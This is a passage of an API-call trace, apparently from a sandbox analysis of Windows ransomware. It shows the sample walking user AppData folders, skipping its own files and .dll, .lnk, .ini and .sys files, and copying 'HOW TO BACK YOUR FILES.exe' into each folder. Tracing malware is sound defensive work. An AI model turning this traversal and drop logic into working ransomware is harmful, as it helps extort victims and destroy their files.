	[0043.279] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="User Pinned" | out: lpString1="User Pinned") returned="User Pinned"
	[0043.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0043.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc6) returned 0x599500
	[0043.280] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0043.280] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
	[0043.280] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.280] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0043.280] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="Window Switcher.lnk" | out: lpString1="Window Switcher.lnk") returned="Window Switcher.lnk"
	[0043.280] lstrlenW (lpString="Window Switcher.lnk") returned 19
	[0043.280] lstrlenW (lpString="Apollon865") returned 10
	[0043.280] lstrcmpiW (lpString1="itcher.lnk", lpString2="Apollon865") returned 1
	[0043.280] lstrlenW (lpString=".dll") returned 4
	[0043.280] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".dll") returned 1
	[0043.280] lstrlenW (lpString=".lnk") returned 4
	[0043.280] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".lnk") returned 1
	[0043.280] lstrlenW (lpString=".ini") returned 4
	[0043.280] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".ini") returned 1
	[0043.280] lstrlenW (lpString=".sys") returned 4
	[0043.280] lstrcmpiW (lpString1="Window Switcher.lnk", lpString2=".sys") returned 1
	[0043.280] lstrlenW (lpString="Window Switcher.lnk") returned 19
	[0043.280] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned"
	[0043.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599500 | out: hHeap=0x580000) returned 1
	[0043.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0043.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 98
	[0043.280] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned"
	[0043.280] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.303] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e17b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31e17b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.303] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.303] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.304] lstrcpyW (in: lpString1=0x2d3e616, lpString2="ImplicitAppShortcuts" | out: lpString1="ImplicitAppShortcuts") returned="ImplicitAppShortcuts"
	[0043.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0043.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x599500
	[0043.304] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0043.304] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1
	[0043.304] lstrcmpiW (lpString1="TaskBar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.304] lstrcmpiW (lpString1="TaskBar", lpString2="Apollon865.txt.exe") returned 1
	[0043.304] lstrcpyW (in: lpString1=0x2d3e616, lpString2="TaskBar" | out: lpString1="TaskBar") returned="TaskBar"
	[0043.304] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", dwFileAttributes=0x10) returned 1
	[0043.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0043.304] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd6) returned 0x599bd8
	[0043.304] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0043.304] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0
	[0043.304] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.304] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0043.304] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
	[0043.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0043.305] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 106
	[0043.305] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
	[0043.305] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.305] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.309] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.309] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e17b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31e17b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.310] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.310] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.310] lstrcpyW (in: lpString1=0x2d3e626, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0043.310] lstrlenW (lpString="desktop.ini") returned 11
	[0043.310] lstrlenW (lpString="Apollon865") returned 10
	[0043.310] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0043.310] lstrlenW (lpString=".dll") returned 4
	[0043.310] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0043.310] lstrlenW (lpString=".lnk") returned 4
	[0043.310] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0043.310] lstrlenW (lpString=".ini") returned 4
	[0043.310] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0043.310] lstrlenW (lpString=".sys") returned 4
	[0043.310] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0043.310] lstrlenW (lpString="desktop.ini") returned 11
	[0043.310] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Google Chrome.lnk" | out: lpString1="Google Chrome.lnk") returned="Google Chrome.lnk"
	[0043.310] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0043.310] lstrlenW (lpString="Apollon865") returned 10
	[0043.310] lstrcmpiW (lpString1="Chrome.lnk", lpString2="Apollon865") returned 1
	[0043.310] lstrlenW (lpString=".dll") returned 4
	[0043.310] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".dll") returned 1
	[0043.310] lstrlenW (lpString=".lnk") returned 4
	[0043.310] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".lnk") returned 1
	[0043.310] lstrlenW (lpString=".ini") returned 4
	[0043.310] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".ini") returned 1
	[0043.310] lstrlenW (lpString=".sys") returned 4
	[0043.311] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".sys") returned 1
	[0043.311] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0043.311] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Internet Explorer (2).lnk" | out: lpString1="Internet Explorer (2).lnk") returned="Internet Explorer (2).lnk"
	[0043.311] lstrlenW (lpString="Internet Explorer (2).lnk") returned 25
	[0043.311] lstrlenW (lpString="Apollon865") returned 10
	[0043.311] lstrcmpiW (lpString1="er (2).lnk", lpString2="Apollon865") returned 1
	[0043.311] lstrlenW (lpString=".dll") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer (2).lnk", lpString2=".dll") returned 1
	[0043.311] lstrlenW (lpString=".lnk") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer (2).lnk", lpString2=".lnk") returned 1
	[0043.311] lstrlenW (lpString=".ini") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer (2).lnk", lpString2=".ini") returned 1
	[0043.311] lstrlenW (lpString=".sys") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer (2).lnk", lpString2=".sys") returned 1
	[0043.311] lstrlenW (lpString="Internet Explorer (2).lnk") returned 25
	[0043.311] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Internet Explorer.lnk" | out: lpString1="Internet Explorer.lnk") returned="Internet Explorer.lnk"
	[0043.311] lstrlenW (lpString="Internet Explorer.lnk") returned 21
	[0043.311] lstrlenW (lpString="Apollon865") returned 10
	[0043.311] lstrcmpiW (lpString1="plorer.lnk", lpString2="Apollon865") returned 1
	[0043.311] lstrlenW (lpString=".dll") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".dll") returned 1
	[0043.311] lstrlenW (lpString=".lnk") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".lnk") returned 1
	[0043.311] lstrlenW (lpString=".ini") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".ini") returned 1
	[0043.311] lstrlenW (lpString=".sys") returned 4
	[0043.311] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".sys") returned 1
	[0043.311] lstrlenW (lpString="Internet Explorer.lnk") returned 21
	[0043.311] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Mozilla Firefox.lnk" | out: lpString1="Mozilla Firefox.lnk") returned="Mozilla Firefox.lnk"
	[0043.312] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19
	[0043.312] lstrlenW (lpString="Apollon865") returned 10
	[0043.312] lstrcmpiW (lpString1="irefox.lnk", lpString2="Apollon865") returned 1
	[0043.312] lstrlenW (lpString=".dll") returned 4
	[0043.312] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".dll") returned 1
	[0043.312] lstrlenW (lpString=".lnk") returned 4
	[0043.312] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".lnk") returned 1
	[0043.312] lstrlenW (lpString=".ini") returned 4
	[0043.312] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".ini") returned 1
	[0043.312] lstrlenW (lpString=".sys") returned 4
	[0043.312] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".sys") returned 1
	[0043.312] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19
	[0043.312] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Windows Explorer (2).lnk" | out: lpString1="Windows Explorer (2).lnk") returned="Windows Explorer (2).lnk"
	[0043.312] lstrlenW (lpString="Windows Explorer (2).lnk") returned 24
	[0043.312] lstrlenW (lpString="Apollon865") returned 10
	[0043.312] lstrcmpiW (lpString1="er (2).lnk", lpString2="Apollon865") returned 1
	[0043.312] lstrlenW (lpString=".dll") returned 4
	[0043.312] lstrcmpiW (lpString1="Windows Explorer (2).lnk", lpString2=".dll") returned 1
	[0043.312] lstrlenW (lpString=".lnk") returned 4
	[0043.312] lstrcmpiW (lpString1="Windows Explorer (2).lnk", lpString2=".lnk") returned 1
	[0043.312] lstrlenW (lpString=".ini") returned 4
	[0043.312] lstrcmpiW (lpString1="Windows Explorer (2).lnk", lpString2=".ini") returned 1
	[0043.312] lstrlenW (lpString=".sys") returned 4
	[0043.312] lstrcmpiW (lpString1="Windows Explorer (2).lnk", lpString2=".sys") returned 1
	[0043.312] lstrlenW (lpString="Windows Explorer (2).lnk") returned 24
	[0043.312] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Windows Explorer.lnk" | out: lpString1="Windows Explorer.lnk") returned="Windows Explorer.lnk"
	[0043.312] lstrlenW (lpString="Windows Explorer.lnk") returned 20
	[0043.312] lstrlenW (lpString="Apollon865") returned 10
	[0043.312] lstrcmpiW (lpString1="plorer.lnk", lpString2="Apollon865") returned 1
	[0043.312] lstrlenW (lpString=".dll") returned 4
	[0043.312] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".dll") returned 1
	[0043.312] lstrlenW (lpString=".lnk") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".lnk") returned 1
	[0043.313] lstrlenW (lpString=".ini") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".ini") returned 1
	[0043.313] lstrlenW (lpString=".sys") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".sys") returned 1
	[0043.313] lstrlenW (lpString="Windows Explorer.lnk") returned 20
	[0043.313] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Windows Media Player (2).lnk" | out: lpString1="Windows Media Player (2).lnk") returned="Windows Media Player (2).lnk"
	[0043.313] lstrlenW (lpString="Windows Media Player (2).lnk") returned 28
	[0043.313] lstrlenW (lpString="Apollon865") returned 10
	[0043.313] lstrcmpiW (lpString1="er (2).lnk", lpString2="Apollon865") returned 1
	[0043.313] lstrlenW (lpString=".dll") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player (2).lnk", lpString2=".dll") returned 1
	[0043.313] lstrlenW (lpString=".lnk") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player (2).lnk", lpString2=".lnk") returned 1
	[0043.313] lstrlenW (lpString=".ini") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player (2).lnk", lpString2=".ini") returned 1
	[0043.313] lstrlenW (lpString=".sys") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player (2).lnk", lpString2=".sys") returned 1
	[0043.313] lstrlenW (lpString="Windows Media Player (2).lnk") returned 28
	[0043.313] lstrcpyW (in: lpString1=0x2d3e626, lpString2="Windows Media Player.lnk" | out: lpString1="Windows Media Player.lnk") returned="Windows Media Player.lnk"
	[0043.313] lstrlenW (lpString="Windows Media Player.lnk") returned 24
	[0043.313] lstrlenW (lpString="Apollon865") returned 10
	[0043.313] lstrcmpiW (lpString1="Player.lnk", lpString2="Apollon865") returned 1
	[0043.313] lstrlenW (lpString=".dll") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".dll") returned 1
	[0043.313] lstrlenW (lpString=".lnk") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".lnk") returned 1
	[0043.313] lstrlenW (lpString=".ini") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".ini") returned 1
	[0043.313] lstrlenW (lpString=".sys") returned 4
	[0043.313] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".sys") returned 1
	[0043.314] lstrlenW (lpString="Windows Media Player.lnk") returned 24
	[0043.314] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
	[0043.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599500 | out: hHeap=0x580000) returned 1
	[0043.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0043.314] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 119
	[0043.314] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
	[0043.314] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.314] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.319] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e3dcf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31e3dcf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.320] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.320] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.320] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0"
	[0043.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0043.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0043.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned 63
	[0043.320] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0"
	[0043.320] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp9_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.327] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.327] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x31e63e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31e63e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.328] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.328] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.328] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1"
	[0043.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0043.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0043.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned 63
	[0043.328] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1"
	[0043.328] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
